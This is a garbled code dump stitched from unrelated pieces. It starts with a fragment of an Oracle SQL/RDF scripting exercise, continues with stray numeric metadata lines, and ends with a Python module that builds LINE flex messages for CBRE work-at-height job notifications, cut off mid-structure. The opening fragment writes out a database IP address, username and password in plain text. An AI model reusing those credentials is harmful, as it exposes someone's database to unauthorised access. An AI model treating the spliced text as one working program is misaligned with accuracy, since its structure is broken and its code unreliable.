Zipcode(zipcode) values (rel_zipcode) """ connr = connectTo 'jdbc:oracle:thin:@128.83.138.158:1521:orcl' 'C##cs347_prof' 'orcl_prof' 'rdf_mode' 'FIBOR'; SQL on connr """ insert into BodyCorporation(x, zip_code) values (1, 78733) """ SQL on conn1 """ INSERT INTO FIBOR_C##CS347_PROF_DATA VALUES ( FIBOR_C##CS347_PROF_SQNC.nextval, SDO_RDF_TRIPLE_S('FIBOR_C##CS347_PROF:<http://www.example.org/people.owl>', 'http://www.example.org/people.owl#zip_code', 'rdf:type', 'owl:DatatypeProperty')) """ SQL on conn1 """ INSERT INTO FIBOR_C##CS347_PROF_DATA VALUES ( FIBOR_C##CS347_PROF_SQNC.nextval, SDO_RDF_TRIPLE_S('FIBOR_C##CS347_PROF:<http://www.example.org/people.owl>', 'http://www.example.org/people.owl#zip_code', 'rdfs:domain', 'http://www.example.org/people.owl#BodyCorporation')) """ SQL on conn1 """ INSERT INTO FIBOR_C##CS347_PROF_DATA VALUES ( FIBOR_C##CS347_PROF_SQNC.nextval, SDO_RDF_TRIPLE_S('FIBOR_C##CS347_PROF:<http://www.example.org/people.owl>', 'http://www.example.org/people.owl#zip_code', 'rdf:range', 'rdfs:xsd:integer')) """ SQL on conn1 """ INSERT INTO FIBOR_C##CS347_PROF_DATA VALUES ( FIBOR_C##CS347_PROF_SQNC.nextval, SDO_RDF_TRIPLE_S('FIBOR_C##CS347_PROF:<http://www.example.org/people.owl>', 'http://www.example.org/people.owl#zip_code', 'rdf:type', 'owl:FunctionalProperty')) """ ''' SQL on connr """ insert into BodyCorporation(x, zip_code) values (2, 78734) """ SQL on connr """ insert into BodyCorporation(x, zip_code) values (3, 78735) """ SQL on connr """ insert into BodyCorporation(x, zip_code) values (4, 78736) """ SQL on connr """ insert into BodyCorporation(x, zip_code) values (5, 78737) """ SQL on connr """ insert into BodyCorporationWithEquity(x, zip_code) values (1, 78733) """ SQL on connr """ insert into BodyCorporationWithEquity(x, zip_code) values (2, 78734) """ SQL on connr """ insert into BodyCorporationWithEquity(x, zip_code) values (3, 78735) """ SQL on connr """ insert into BodyCorporationWithEquity(x, zip_code) values (4, 78736) """ SQL on connr """ insert into BodyCorporationWithEquity(x, zip_code) values (5, 78737) """ SQL on connr """ insert into IncorporatedCompany(x, zip_code) values (1, 78733) """ SQL on connr """ insert into IncorporatedCompany(x, zip_code) values (2, 78734) """ SQL on connr """ insert into IncorporatedCompany(x, zip_code) values (3, 78735) """ SQL on connr """ insert into IncorporatedCompany(x, zip_code) values (4, 78736) """ SQL on connr """ insert into IncorporatedCompany(x, zip_code) values (5, 78737) """ SQL on connr """ insert into PublicShareholder(y, zip_code) values (4, 78733) """ SQL on connr """ insert into PublicShareholder(y, zip_code) values (8, 78734) """ SQL on connr """ insert into PublicShareholder(y, zip_code) values (12, 78735) """ SQL on connr """ insert into PublicShareholder(y, zip_code) values (16, 78736) """ SQL on connr """ insert into PublicShareholder(y, zip_code) values (20, 78737) """ ''' SQL on connr """ insert into Zipcode(y, zip_code) values (4, 78733) """ SQL on connr """ insert into Zipcode(y, zip_code) values (8, 78734) """ SQL on connr """ insert into Zipcode(y, zip_code) values (12, 78735) """ SQL on connr """ insert into Zipcode(y, zip_code) values (16, 78736) """ SQL on connr """ insert into Zipcode(y, zip_code) values (20, 78737) """ r1 = SQL on connr """ select * from BodyCorporation """ r2 = SQL on connr """ select * from PublicShareholder """ r3 = SQL on connr """ select * from Zipcode """ r4 = SQL on connr """ select x, y from BodyCorporation f join Zipcode z on (f.zip_code = z.zip_code) order by 1 """ print r1 print print r2 print print r3 print print r4 """ -- truncate table FIBO1_C##CS347_PROF_DATA; truncate table FIBOR_C##CS347_PROF_DATA SELECT a.triple.GET_SUBJECT() as subject, a.triple.GET_PROPERTY() as property, a.triple.GET_OBJECT() as object from FIBO1_C##CS347_PROF_DATA a order by subject, property; select x, y from FormallyConstitutedOrganizaiton f join Zipcode z on (f.zipcode = z.zipcode) order by 1 df <- data.frame(fromJSON(getURL(URLencode(gsub("\n", " ", '129.152.144.84:5001/rest/native/?query= "select x, y from FormallyConstitutedOrganizaiton f join Zipcode z on (f.zip_code = z.zip_code) order by 1" ')),httpheader=c(DB='jdbc:oracle:thin:@128.83.138.158:1521:orcl', USER='C##cs347_prof', PASS='orcl_prof', MODE='rdf_mode', MODEL='FIBOR', returnDimensions = 'False', returnFor = 'JSON'), verbose = TRUE))); tbl_df(df) """

74.078431

351

0.729884

1,148

7,556

4.658537

0.137631

0.054226

0.074794

0.799551

0.764772

0.762154

0.745699

0.738594

0.723822

0

0.064434

0.114743

7,556

101

352

74.811881

0.735087

0

0.061224

0

0.163265

0.81454

0.195818

0

null

0

null

0.142857

0

null

0

1

0

1

0

null

0

1

0

7

73548a738e11e71b97efef608f631774220ef7bc

121,305

py

Python

app/createflexmessage.py

ThebiggunSeeoil/app-cbre-exxon

efec395dca662132a19f882b0ff3dbb6318b3e51

[ "MIT" ]

null

app/createflexmessage.py

ThebiggunSeeoil/app-cbre-exxon

efec395dca662132a19f882b0ff3dbb6318b3e51

[ "MIT" ]

null

app/createflexmessage.py

ThebiggunSeeoil/app-cbre-exxon

efec395dca662132a19f882b0ff3dbb6318b3e51

[ "MIT" ]

null

import datetime class creatinglinemessages (): def summary_by_contractor(data,date_today,planned_date): Main_data = {"type": "flex", "altText": "Flex Message", "contents": { "type": "carousel", "contents":[{ "type": "bubble", "size": "giga", "hero": { "type": "image", "url": "https://seeoil-web.com/cbre/Picture/CBRE-Logo.jpg", "align": "center", "gravity": "bottom", "size": "full", "aspectRatio": "20:7", "aspectMode": "cover", "action": { "type": "uri", "label": "Line", "uri": "https://linecorp.com/" }, "position": "relative" }, "body": { "type": "box", "layout": "vertical", "contents": [ { "type": "text", "text": "Summary Report All Contractor", "weight": "bold", "size": "sm", "color": "#225508FF", "align": "center", "contents": [] }, { "type": "text", "text": str(date_today), "weight": "bold", "size": "sm", "color": "#225508FF", "align": "center", "contents": [] }, { "type": "text", "text": "Planned on " + planned_date, "weight": "bold", "size": "sm", "color": "#225508FF", "align": "center", "contents": [] }, { "type": "separator", "margin": "sm", "color": "#165C3CFF" }, { "type": "box", "layout": "baseline", "spacing": "sm", "margin": "xs", "contents": [ { "type": "text", "text": "SP", "weight": "bold", "size": "xs", "contents": [] }, { "type": "text", "text": "WR", "weight": "bold", "size": "xs", "align": "center", "position": "relative", "contents": [] }, { "type": "text", "text": "SB", "weight": "bold", "size": "xs", "align": "center", "contents": [] }, { "type": "text", "text": "PA", "weight": "bold", "size": "xs", "align": "center", "contents": [] }, { "type": "text", "text": "TD-PD", "weight": "bold", "size": "xs", "align": "center", "contents": [] } ] }, { "type": "separator", "margin": "md", "color": "#165C3CFF" }, { "type": "text", "text": "SP : Providor Name , WR : Work received today", "size": "xxs", "align": "center", "margin": "sm", "contents": [] }, { "type": "text", "text": "SB : Submitted Work , PA : Work All Pending", "size": "xxs", "align": "center", "margin": "xs", "contents": [] }, { "type": "text", "text": "TD-PD : Work Planned "+planned_date, "size": "xxs", "align": "center", "margin": "xs", "contents": [] } ] } } ] }} for I in data : name = I['name'] if 'new_work_today' not in I : new_work_today = '0' else : new_work_today = I['new_work_today'] if 'today_submit' not in I : today_submit = '0' else : today_submit = I['today_submit'] if 'todaypending' not in I : todaypending = '0' else : todaypending = I['todaypending'] if 'planned_today' not in I : planned_today = '0' else : planned_today = I['planned_today'] # print (name) # print (new_work_today) # print (today_submit) # print (todaypending) # print (planned_today) content_data = { "type": "box", "layout": "baseline", "contents": [ { "type": "text", "text": name, "size": "xs", "align": "start", "contents": [] }, { "type": "text", "text": str(new_work_today), "size": "xs", "align": "center", "position": "relative", "contents": [] }, { "type": "text", "text": str(today_submit), "size": "xs", "align": "center", "contents": [] }, { "type": "text", "text": str(todaypending), "size": "xs", "align": "center", "contents": [] }, { "type": "text", "text": str(planned_today), "size": "xs", "align": "center", "contents": [] } ] } Main_data['contents']['contents'][0]['body']['contents'].insert(-4,content_data) return Main_data def submit_notify(request): planned_date=request.POST.get('planned_date') caller=request.POST.get('caller') job_description=request.POST.get('job_description') workorder=request.POST.get('workorder') company=request.POST.get('company') fls_mame_1=request.POST.get('fls_mame_1') fls_mame_2=request.POST.get('fls_mame_2') data = {'\n'+'SUBMIT WAH TYPE'+'\n' +'Contractor : ' + company + '\n' + 'SiteName : ' + caller + '\n' + 'WorkOrder '+ workorder + '\n' + 'WorkDetail : ' + job_description + '\n' + 'Planned : ' + planned_date + '\n' + 'fls_mame_1 : ' + fls_mame_1 + '\n' + 'fls_mame_2 : ' + fls_mame_2 } return data def updatedsubmit_notify(request): planned_date=request.POST.get('planned_date') caller=request.POST.get('caller') job_description=request.POST.get('job_description') workorder=request.POST.get('workorder') company=request.POST.get('company') fls_mame_1=request.POST.get('fls_mame') data = {'\n'+'UPDATED DATE WAH'+'\n' +'Contractor : ' + company + '\n' + 'SiteName : ' + caller + '\n' + 'WorkOrder '+ workorder + '\n' + 'WorkDetail : ' + job_description + '\n' + 'Planned : ' + planned_date + '\n' + 'fls_mame : ' + fls_mame_1 + '\n' } return data def checkout_notify(data): for I in data : # Title = (I['Title']) # print (I) workorder = I.workorder company= I.company opended = I.opended status = I.status startwork = I.startwork completedwork = I.completedwork caller = I.caller wah_status = I.wah_status timestramp = I.timestramp planned_date = I.planned_date job_description = I.job_description fls_mame = I.fls_mame_1 fls_startwork = I.fls_startwork fls_completedwork = I.fls_completedwork fls_phone = I.fls_phone management = I.management remark = I.remark type_job = I.type_job jla_ra = I.jla_ra any_ssw = I.any_ssw physical = I.physical fm = I.fm startwork=I.startwork # print (workorder) # print (company) # print (opended) # print (status) # print (startwork) # print (completedwork) # print (caller) # print (wah_status) # print (timestramp) # print (planned_date) # print (job_description) # print (fls_mame) # print (fls_phone) # print (management) # print (remark) # print (type_job) # print (jla_ra) # print (any_ssw) # print (physical) # print (fm) data = {'\n'+'CHECKOUT WAH TYPE'+'\n' +'Contractor : ' + company + '\n' + 'SiteName : ' + caller + '\n' + 'WorkOrder '+ workorder + '\n' + 'CheckIn Name : ' + fls_startwork + '\n' + 'CheckOut Name : ' + fls_completedwork + '\n' + 'CheckIn Time : ' + str(startwork) + '\n' + 'CheckOut Time : ' + str(completedwork)} return data def checkin_notify(data): for I in data : # Title = (I['Title']) # print (I) workorder = I.workorder company= I.company opended = I.opended status = I.status startwork = I.startwork completedwork = I.completedwork caller = I.caller wah_status = I.wah_status timestramp = I.timestramp planned_date = I.planned_date job_description = I.job_description fls_mame = I.fls_mame_1 fls_startwork = I.fls_startwork fls_phone = I.fls_phone management = I.management remark = I.remark type_job = I.type_job jla_ra = I.jla_ra any_ssw = I.any_ssw physical = I.physical fm = I.fm startwork=I.startwork # print (workorder) # print (company) # print (opended) # print (status) # print (startwork) # print (completedwork) # print (caller) # print (wah_status) # print (timestramp) # print (planned_date) # print (job_description) # print (fls_mame) # print (fls_phone) # print (management) # print (remark) # print (type_job) # print (jla_ra) # print (any_ssw) # print (physical) # print (fm) data = {'\n'+'CHECKIN WAH TYPE'+'\n' +'Contractor : ' + company + '\n' + 'SiteName : ' + caller + '\n' + 'WorkOrder '+ workorder + '\n' + 'CheckIn Name : ' + fls_startwork + '\n' + 'CheckIn Time : ' + str(startwork)} return data def wahsubmit (count_wah_submit_detail,type): print ('insile createline') if type == 'in planing' : data = count_wah_submit_detail arry_contants = [] data_wah = {"type": "flex", "altText": "Flex Message", "contents": { "type": "carousel", "contents": arry_contants } } for I in data : # Title = (I['Title']) print (I) workorder = I.workorder company= I.company opended = I.opended status = I.status startwork = I.startwork completedwork = I.completedwork caller = I.caller wah_status = I.wah_status timestramp = I.timestramp planned_date = I.planned_date.strftime("%d-%m-%Y %H:%M") job_description = I.job_description fls_mame = I.fls_mame_1 fls_phone = I.fls_phone management = I.management remark = I.remark type_job = I.type_job jla_ra = I.jla_ra any_ssw = I.any_ssw physical = I.physical fm = I.fm print (workorder) print (company) print (opended) print (status) print (startwork) print (completedwork) print (caller) print (wah_status) print (timestramp) print (planned_date) print (job_description) print (fls_mame) print (fls_phone) print (management) print (remark) print (type_job) print (jla_ra) print (any_ssw) print (physical) print (fm) contents_submit_wah = { "type": "bubble", "hero": { "type": "image", "url": "https://seeoil-web.com/cbre/Picture/CBRE-Logo.jpg", "align": "center", "gravity": "bottom", "size": "full", "aspectRatio": "20:7", "aspectMode": "cover", "action": { "type": "uri", "label": "Line", "uri": "https://linecorp.com/" }, "position": "relative" }, "body": { "type": "box", "layout": "vertical", "contents": [ { "type": "text", "text": "WAH - DETAIL OF WORK", "weight": "bold", "size": "xl", "color": "#225508FF", "align": "center", "contents": [] }, { "type": "separator", "margin": "xs", "color": "#E42424FF" }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "Contractor :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": company, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "PlanedDate :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": str(planned_date), "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "WorkOrder :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": workorder, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "contents": [ { "type": "text", "text": "SiteName :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": caller, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "JobDescriptions :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": job_description, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "FlsName :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fls_mame, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "MobilePhoneFLS :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fls_phone, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "MangementName :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": management, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "TypeOfJob :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": type_job, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "JLA/RAReviewed :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": jla_ra, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "WorkerInvolved ? : ", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": any_ssw, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "Observation ? :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": physical, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "CBRE FM : ", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fm, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "Remarks :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": remark, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] } ] } } arry_contants.append(contents_submit_wah) return data_wah if type == 'onsite' : data = count_wah_submit_detail arry_contants = [] data_wah = {"type": "flex", "altText": "Flex Message", "contents": { "type": "carousel", "contents": arry_contants } } for I in data : # Title = (I['Title']) print (I) workorder = I.workorder company= I.company opended = I.opended status = I.status startwork = I.startwork completedwork = I.completedwork caller = I.caller wah_status = I.wah_status timestramp = I.timestramp planned_date = I.planned_date job_description = I.job_description fls_mame = I.fls_mame_1 fls_phone = I.fls_phone management = I.management remark = I.remark type_job = I.type_job jla_ra = I.jla_ra any_ssw = I.any_ssw physical = I.physical fm = I.fm print (workorder) print (company) print (opended) print (status) print (startwork) print (completedwork) print (caller) print (wah_status) print (timestramp) print (planned_date) print (job_description) print (fls_mame) print (fls_phone) print (management) print (remark) print (type_job) print (jla_ra) print (any_ssw) print (physical) print (fm) contents_submit_wah = { "type": "bubble", "hero": { "type": "image", "url": "https://seeoil-web.com/cbre/Picture/CBRE-Logo.jpg", "align": "center", "gravity": "bottom", "size": "full", "aspectRatio": "20:7", "aspectMode": "cover", "action": { "type": "uri", "label": "Line", "uri": "https://linecorp.com/" }, "position": "relative" }, "body": { "type": "box", "layout": "vertical", "contents": [ { "type": "text", "text": "WAH - DETAIL OF WORK", "weight": "bold", "size": "xl", "color": "#225508FF", "align": "center", "contents": [] }, { "type": "separator", "margin": "xs", "color": "#E42424FF" }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "Contractor :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": company, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "PlanedDate :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": str(planned_date), "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "WorkOrder :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": workorder, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "contents": [ { "type": "text", "text": "SiteName :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": caller, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "JobDescriptions :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": job_description, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "FlsName :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fls_mame, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "MobilePhoneFLS :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fls_phone, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "MangementName :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": management, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "TypeOfJob :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": type_job, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "JLA/RAReviewed :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": jla_ra, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "WorkerInvolved ? : ", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": any_ssw, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "Observation ? :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": physical, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "CBRE FM : ", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fm, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "Remarks :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": remark, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "CheckIn Time :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": str(startwork), "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] } ] } } arry_contants.append(contents_submit_wah) return data_wah def linedetailcheck (detail_checkin,type): if type == 'completed' : for I in detail_checkin : # Title = (I['Title']) # print (I) workorder = I.workorder company= I.company opended = I.opended status = I.status startwork = I.startwork completedwork = I.completedwork caller = I.caller wah_status = I.wah_status timestramp = I.timestramp planned_date = I.planned_date job_description = I.job_description fls_mame = I.fls_mame_1 fls_startwork = I.fls_startwork fls_phone = I.fls_phone management = I.management remark = I.remark type_job = I.type_job jla_ra = I.jla_ra any_ssw = I.any_ssw physical = I.physical fm = I.fm startwork=I.startwork # print (workorder) # print (company) # print (opended) # print (status) # print (startwork) # print (completedwork) # print (caller) # print (wah_status) # print (timestramp) # print (planned_date) # print (job_description) # print (fls_mame) # print (fls_phone) # print (management) # print (remark) # print (type_job) # print (jla_ra) # print (any_ssw) # print (physical) # print (fm) data = { "type": "flex", "altText": "Flex Message", "contents": { "type": "bubble", "hero": { "type": "image", "url": "https://seeoil-web.com/cbre/Picture/CBRE-Logo.jpg", "align": "center", "gravity": "bottom", "size": "full", "aspectRatio": "20:7", "aspectMode": "cover", "action": { "type": "uri", "label": "Line", "uri": "https://linecorp.com/" }, "position": "relative" }, "body": { "type": "box", "layout": "vertical", "contents": [ { "type": "text", "text": "รายละเอียดของงาน", "weight": "bold", "size": "xl", "color": "#225508FF", "align": "center", "contents": [] }, { "type": "separator", "margin": "xs", "color": "#E42424FF" }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "ผู้รับเหมา :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": company, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "เลขแจ้งซ่อม :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": workorder, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "contents": [ { "type": "text", "text": "สถานี :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": caller, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "รายละเอียดงาน :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": job_description, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "ช่างที่เข้าทำงาน :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fls_startwork, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "เบอร์โทรช่าง :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fls_phone, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "CBRE FM : ", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fm, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "วันที่เข้าจบงาน :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": str(startwork), "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] } ] } } } return data if type == 'onsite' : for I in detail_checkin : # Title = (I['Title']) # print (I) workorder = I.workorder company= I.company opended = I.opended status = I.status startwork = I.startwork completedwork = I.completedwork caller = I.caller wah_status = I.wah_status timestramp = I.timestramp planned_date = I.planned_date job_description = I.job_description fls_mame = I.fls_mame_1 fls_startwork = I.fls_startwork fls_phone = I.fls_phone management = I.management remark = I.remark type_job = I.type_job jla_ra = I.jla_ra any_ssw = I.any_ssw physical = I.physical fm = I.fm startwork=I.startwork # print (workorder) # print (company) # print (opended) # print (status) # print (startwork) # print (completedwork) # print (caller) # print (wah_status) # print (timestramp) # print (planned_date) # print (job_description) # print (fls_mame) # print (fls_phone) # print (management) # print (remark) # print (type_job) # print (jla_ra) # print (any_ssw) # print (physical) # print (fm) data = { "type": "flex", "altText": "Flex Message", "contents": { "type": "bubble", "hero": { "type": "image", "url": "https://seeoil-web.com/cbre/Picture/CBRE-Logo.jpg", "align": "center", "gravity": "bottom", "size": "full", "aspectRatio": "20:7", "aspectMode": "cover", "action": { "type": "uri", "label": "Line", "uri": "https://linecorp.com/" }, "position": "relative" }, "body": { "type": "box", "layout": "vertical", "contents": [ { "type": "text", "text": "รายละเอียดของงาน", "weight": "bold", "size": "xl", "color": "#225508FF", "align": "center", "contents": [] }, { "type": "separator", "margin": "xs", "color": "#E42424FF" }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "ผู้รับเหมา :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": company, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "เลขแจ้งซ่อม :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": workorder, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "contents": [ { "type": "text", "text": "สถานี :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": caller, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": 